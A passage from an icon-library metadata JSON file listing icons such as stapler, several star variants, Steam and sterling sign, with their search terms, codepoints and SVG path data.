        "path": "M312 201.8c0-17.4 9.2-33.2 19.9-47C344.5 138.5 352 118.1 352 96c0-53-43-96-96-96s-96 43-96 96c0 22.1 7.5 42.5 20.1 58.8c10.7 13.8 19.9 29.6 19.9 47c0 29.9-24.3 54.2-54.2 54.2H112C50.1 256 0 306.1 0 368c0 20.9 13.4 38.7 32 45.3V464c0 26.5 21.5 48 48 48H432c26.5 0 48-21.5 48-48V413.3c18.6-6.6 32-24.4 32-45.3c0-61.9-50.1-112-112-112H366.2c-29.9 0-54.2-24.3-54.2-54.2zM416 416v32H96V416H416z"
      }
    },
    "free": ["solid"]
  },
  "stapler": {
    "changes": ["6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["desktop", "milton", "office", "paperclip", "staple"]
    },
    "styles": ["solid"],
    "unicode": "e5af",
    "label": "Stapler",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 299.3V304 432c0 26.5-21.5 48-48 48H512 448 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H448V368H96c-17.7 0-32-14.3-32-32V219.4L33.8 214C14.2 210.5 0 193.5 0 173.7c0-8.9 2.9-17.5 8.2-24.6l35.6-47.5C76.7 57.8 128.2 32 182.9 32c27 0 53.6 6.3 77.8 18.4L586.9 213.5C619.5 229.7 640 263 640 299.3zM448 304V288L128 230.9V304H448z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 299.3V304 432c0 26.5-21.5 48-48 48H512 448 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H448V368H96c-17.7 0-32-14.3-32-32V219.4L33.8 214C14.2 210.5 0 193.5 0 173.7c0-8.9 2.9-17.5 8.2-24.6l35.6-47.5C76.7 57.8 128.2 32 182.9 32c27 0 53.6 6.3 77.8 18.4L586.9 213.5C619.5 229.7 640 263 640 299.3zM448 304V288L128 230.9V304H448z"
      }
    },
    "free": ["solid"]
  },
  "star": {
    "aliases": {
      "unicodes": {
        "composite": ["2b50", "f006"],
        "secondary": ["10f005"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "favorite",
        "important",
        "night",
        "rating",
        "score",
        "star"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f005",
    "label": "Star",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M316.9 18C311.6 7 300.4 0 288.1 0s-23.4 7-28.8 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3l128.3-68.5 128.3 68.5c10.8 5.7 23.9 4.9 33.8-2.3s14.9-19.3 12.9-31.3L438.5 329 542.7 225.9c8.6-8.5 11.7-21.2 7.9-32.7s-13.7-19.9-25.7-21.7L381.2 150.3 316.9 18z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M287.9 0c9.2 0 17.6 5.2 21.6 13.5l68.6 141.3 153.2 22.6c9 1.3 16.5 7.6 19.3 16.3s.5 18.1-5.9 24.5L433.6 328.4l26.2 155.6c1.5 9-2.2 18.1-9.6 23.5s-17.3 6-25.3 1.7l-137-73.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5C270.4 5.2 278.7 0 287.9 0zm0 79L235.4 187.2c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l105.2-56.2c7.1-3.8 15.6-3.8 22.6 0l105.2 56.2L384.2 324.1c-1.3-7.7 1.2-15.5 6.8-21l85.9-85.1L358.6 200.5c-7.8-1.2-14.6-6.1-18.1-13.3L287.9 79z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-and-crescent": {
    "aliases": {
      "unicodes": {
        "composite": ["262a"],
        "secondary": ["10f699"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Muslim", "islam", "muslim", "religion", "star and crescent"]
    },
    "styles": ["solid"],
    "unicode": "f699",
    "label": "Star And Crescent",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256C0 114.6 114.6 0 256 0c33 0 64.6 6.3 93.6 17.7c7.4 2.9 11.5 10.7 9.8 18.4s-8.8 13-16.7 12.4c-4.8-.3-9.7-.5-14.6-.5c-114.9 0-208 93.1-208 208s93.1 208 208 208c4.9 0 9.8-.2 14.6-.5c7.9-.5 15 4.7 16.7 12.4s-2.4 15.5-9.8 18.4C320.6 505.7 289 512 256 512C114.6 512 0 397.4 0 256zM375.4 137.4c3.5-7.1 13.7-7.1 17.2 0l31.5 63.8c1.4 2.8 4.1 4.8 7.2 5.3l70.4 10.2c7.9 1.1 11 10.8 5.3 16.4l-50.9 49.6c-2.3 2.2-3.3 5.4-2.8 8.5l12 70.1c1.3 7.8-6.9 13.8-13.9 10.1l-63-33.1c-2.8-1.5-6.1-1.5-8.9 0l-63 33.1c-7 3.7-15.3-2.3-13.9-10.1l12-70.1c.5-3.1-.5-6.3-2.8-8.5L261 233.1c-5.7-5.6-2.6-15.2 5.3-16.4l70.4-10.2c3.1-.5 5.8-2.4 7.2-5.3l31.5-63.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256C0 114.6 114.6 0 256 0c33 0 64.6 6.3 93.6 17.7c7.4 2.9 11.5 10.7 9.8 18.4s-8.8 13-16.7 12.4c-4.8-.3-9.7-.5-14.6-.5c-114.9 0-208 93.1-208 208s93.1 208 208 208c4.9 0 9.8-.2 14.6-.5c7.9-.5 15 4.7 16.7 12.4s-2.4 15.5-9.8 18.4C320.6 505.7 289 512 256 512C114.6 512 0 397.4 0 256zM375.4 137.4c3.5-7.1 13.7-7.1 17.2 0l31.5 63.8c1.4 2.8 4.1 4.8 7.2 5.3l70.4 10.2c7.9 1.1 11 10.8 5.3 16.4l-50.9 49.6c-2.3 2.2-3.3 5.4-2.8 8.5l12 70.1c1.3 7.8-6.9 13.8-13.9 10.1l-63-33.1c-2.8-1.5-6.1-1.5-8.9 0l-63 33.1c-7 3.7-15.3-2.3-13.9-10.1l12-70.1c.5-3.1-.5-6.3-2.8-8.5L261 233.1c-5.7-5.6-2.6-15.2 5.3-16.4l70.4-10.2c3.1-.5 5.8-2.4 7.2-5.3l31.5-63.8z"
      }
    },
    "free": ["solid"]
  },
  "star-half": {
    "aliases": {
      "unicodes": {
        "composite": ["f123"],
        "secondary": ["10f089"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "rating",
        "score",
        "star-half-empty",
        "star-half-full"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f089",
    "label": "Star Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0c-12.2 .1-23.3 7-28.6 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3L288 439.8V0zM429.9 512c1.1 .1 2.1 .1 3.2 0h-3.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0c-12.2 .1-23.3 7-28.6 18L195 150.3 51.4 171.5c-12 1.8-22 10.2-25.7 21.7s-.7 24.2 7.9 32.7L137.8 329 113.2 474.7c-2 12 3 24.2 12.9 31.3s23 8 33.8 2.3L288 439.8V0zM429.9 512c1.1 .1 2.1 .1 3.2 0h-3.2z"
      },
      "regular": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M293.3 .6c10.9 2.5 18.6 12.2 18.6 23.4V408.7c0 8.9-4.9 17-12.7 21.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5c4.9-10.1 16.1-15.4 27-12.9zM263.9 128.4l-28.6 58.8c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l92.5-49.4V128.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M293.3 .6c10.9 2.5 18.6 12.2 18.6 23.4V408.7c0 8.9-4.9 17-12.7 21.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5c4.9-10.1 16.1-15.4 27-12.9zM263.9 128.4l-28.6 58.8c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l92.5-49.4V128.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-half-stroke": {
    "aliases": {
      "names": ["star-half-alt"],
      "unicodes": {
        "secondary": ["10f5c0"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "rating",
        "score",
        "star-half-empty",
        "star-half-full"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c0",
    "label": "Star Half Stroke",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 376.4l.1-.1 26.4 14.1 85.2 45.5-16.5-97.6-4.8-28.7 20.7-20.5 70.1-69.3-96.1-14.2-29.3-4.3-12.9-26.6L320.1 86.9l-.1 .3V376.4zm175.1 98.3c2 12-3 24.2-12.9 31.3s-23 8-33.8 2.3L320.1 439.8 191.8 508.3C181 514 167.9 513.1 158 506s-14.9-19.3-12.9-31.3L169.8 329 65.6 225.9c-8.6-8.5-11.7-21.2-7.9-32.7s13.7-19.9 25.7-21.7L227 150.3 291.4 18c5.4-11 16.5-18 28.8-18s23.4 7 28.8 18l64.3 132.3 143.6 21.2c12 1.8 22 10.2 25.7 21.7s.7 24.2-7.9 32.7L470.5 329l24.6 145.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 376.4l.1-.1 26.4 14.1 85.2 45.5-16.5-97.6-4.8-28.7 20.7-20.5 70.1-69.3-96.1-14.2-29.3-4.3-12.9-26.6L320.1 86.9l-.1 .3V376.4zm175.1 98.3c2 12-3 24.2-12.9 31.3s-23 8-33.8 2.3L320.1 439.8 191.8 508.3C181 514 167.9 513.1 158 506s-14.9-19.3-12.9-31.3L169.8 329 65.6 225.9c-8.6-8.5-11.7-21.2-7.9-32.7s13.7-19.9 25.7-21.7L227 150.3 291.4 18c5.4-11 16.5-18 28.8-18s23.4 7 28.8 18l64.3 132.3 143.6 21.2c12 1.8 22 10.2 25.7 21.7s.7 24.2-7.9 32.7L470.5 329l24.6 145.7z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M341.5 13.5C337.5 5.2 329.1 0 319.9 0s-17.6 5.2-21.6 13.5L229.7 154.8 76.5 177.5c-9 1.3-16.5 7.6-19.3 16.3s-.5 18.1 5.9 24.5L174.2 328.4 148 483.9c-1.5 9 2.2 18.1 9.7 23.5s17.3 6 25.3 1.7l137-73.2 137 73.2c8.1 4.3 17.9 3.7 25.3-1.7s11.2-14.5 9.7-23.5L465.6 328.4 576.8 218.2c6.5-6.4 8.7-15.9 5.9-24.5s-10.3-14.9-19.3-16.3L410.1 154.8 341.5 13.5zM320 384.7V79.1l52.5 108.1c3.5 7.1 10.2 12.1 18.1 13.3l118.3 17.5L423 303c-5.5 5.5-8.1 13.3-6.8 21l20.2 119.6L331.2 387.5c-3.5-1.9-7.4-2.8-11.2-2.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M341.5 13.5C337.5 5.2 329.1 0 319.9 0s-17.6 5.2-21.6 13.5L229.7 154.8 76.5 177.5c-9 1.3-16.5 7.6-19.3 16.3s-.5 18.1 5.9 24.5L174.2 328.4 148 483.9c-1.5 9 2.2 18.1 9.7 23.5s17.3 6 25.3 1.7l137-73.2 137 73.2c8.1 4.3 17.9 3.7 25.3-1.7s11.2-14.5 9.7-23.5L465.6 328.4 576.8 218.2c6.5-6.4 8.7-15.9 5.9-24.5s-10.3-14.9-19.3-16.3L410.1 154.8 341.5 13.5zM320 384.7V79.1l52.5 108.1c3.5 7.1 10.2 12.1 18.1 13.3l118.3 17.5L423 303c-5.5 5.5-8.1 13.3-6.8 21l20.2 119.6L331.2 387.5c-3.5-1.9-7.4-2.8-11.2-2.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-of-david": {
    "aliases": {
      "unicodes": {
        "composite": ["2721"],
        "secondary": ["10f69a"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "David",
        "Jew",
        "Jewish",
        "jewish",
        "judaism",
        "religion",
        "star",
        "star of David"
      ]
    },
    "styles": ["solid"],
    "unicode": "f69a",
    "label": "Star Of David",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M404.2 309.5L383.1 344h42.3l-21.1-34.5zM371.4 256l-54-88H194.6l-54 88 54 88H317.4l54-88zm65.7 0l53.4 87c3.6 5.9 5.5 12.7 5.5 19.6c0 20.7-16.8 37.4-37.4 37.4H348.7l-56.2 91.5C284.8 504.3 270.9 512 256 512s-28.8-7.7-36.6-20.5L163.3 400H53.4C32.8 400 16 383.2 16 362.6c0-6.9 1.9-13.7 5.5-19.6l53.4-87L21.5 169c-3.6-5.9-5.5-12.7-5.5-19.6C16 128.8 32.8 112 53.4 112H163.3l56.2-91.5C227.2 7.7 241.1 0 256 0s28.8 7.7 36.6 20.5L348.7 112H458.6c20.7 0 37.4 16.8 37.4 37.4c0 6.9-1.9 13.7-5.5 19.6l-53.4 87zm-54-88l21.1 34.5L425.4 168H383.1zM283 112L256 68l-27 44h54zM128.9 168H86.6l21.1 34.5L128.9 168zM107.8 309.5L86.6 344h42.3l-21.1-34.5zM229 400l27 44 27-44H229z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M404.2 309.5L383.1 344h42.3l-21.1-34.5zM371.4 256l-54-88H194.6l-54 88 54 88H317.4l54-88zm65.7 0l53.4 87c3.6 5.9 5.5 12.7 5.5 19.6c0 20.7-16.8 37.4-37.4 37.4H348.7l-56.2 91.5C284.8 504.3 270.9 512 256 512s-28.8-7.7-36.6-20.5L163.3 400H53.4C32.8 400 16 383.2 16 362.6c0-6.9 1.9-13.7 5.5-19.6l53.4-87L21.5 169c-3.6-5.9-5.5-12.7-5.5-19.6C16 128.8 32.8 112 53.4 112H163.3l56.2-91.5C227.2 7.7 241.1 0 256 0s28.8 7.7 36.6 20.5L348.7 112H458.6c20.7 0 37.4 16.8 37.4 37.4c0 6.9-1.9 13.7-5.5 19.6l-53.4 87zm-54-88l21.1 34.5L425.4 168H383.1zM283 112L256 68l-27 44h54zM128.9 168H86.6l21.1 34.5L128.9 168zM107.8 309.5L86.6 344h42.3l-21.1-34.5zM229 400l27 44 27-44H229z"
      }
    },
    "free": ["solid"]
  },
  "star-of-life": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f621"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doctor", "emt", "first aid", "health", "medical"]
    },
    "styles": ["solid"],
    "unicode": "f621",
    "label": "Star Of Life",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V172.9l122-70.4c15.3-8.8 34.9-3.6 43.7 11.7l16 27.7c8.8 15.3 3.6 34.9-11.7 43.7L352 256l122 70.4c15.3 8.8 20.5 28.4 11.7 43.7l-16 27.7c-8.8 15.3-28.4 20.6-43.7 11.7L304 339.1V480c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V339.1L86 409.6c-15.3 8.8-34.9 3.6-43.7-11.7l-16-27.7c-8.8-15.3-3.6-34.9 11.7-43.7L160 256 38 185.6c-15.3-8.8-20.5-28.4-11.7-43.7l16-27.7C51.1 98.8 70.7 93.6 86 102.4l122 70.4V32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V172.9l122-70.4c15.3-8.8 34.9-3.6 43.7 11.7l16 27.7c8.8 15.3 3.6 34.9-11.7 43.7L352 256l122 70.4c15.3 8.8 20.5 28.4 11.7 43.7l-16 27.7c-8.8 15.3-28.4 20.6-43.7 11.7L304 339.1V480c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V339.1L86 409.6c-15.3 8.8-34.9 3.6-43.7-11.7l-16-27.7c-8.8-15.3-3.6-34.9 11.7-43.7L160 256 38 185.6c-15.3-8.8-20.5-28.4-11.7-43.7l16-27.7C51.1 98.8 70.7 93.6 86 102.4l122 70.4V32z"
      }
    },
    "free": ["solid"]
  },
  "staylinked": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f5",
    "label": "StayLinked",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z\"/></svg>",
        "viewBox": [0, 0, 440, 512],
        "width": 440,
        "height": 512,
        "path": "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"
      }
    },
    "free": ["brands"]
  },
  "steam": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b6",
    "label": "Steam",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"
      }
    },
    "free": ["brands"]
  },
  "steam-symbol": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f6",
    "label": "Steam Symbol",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"
      }
    },
    "free": ["brands"]
  },
  "sterling-sign": {
    "aliases": {
      "names": ["gbp", "pound-sign"],
      "unicodes": {
        "composite": ["a3"],
        "secondary": ["10f154"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pound Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f154",
    "label": "Sterling Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
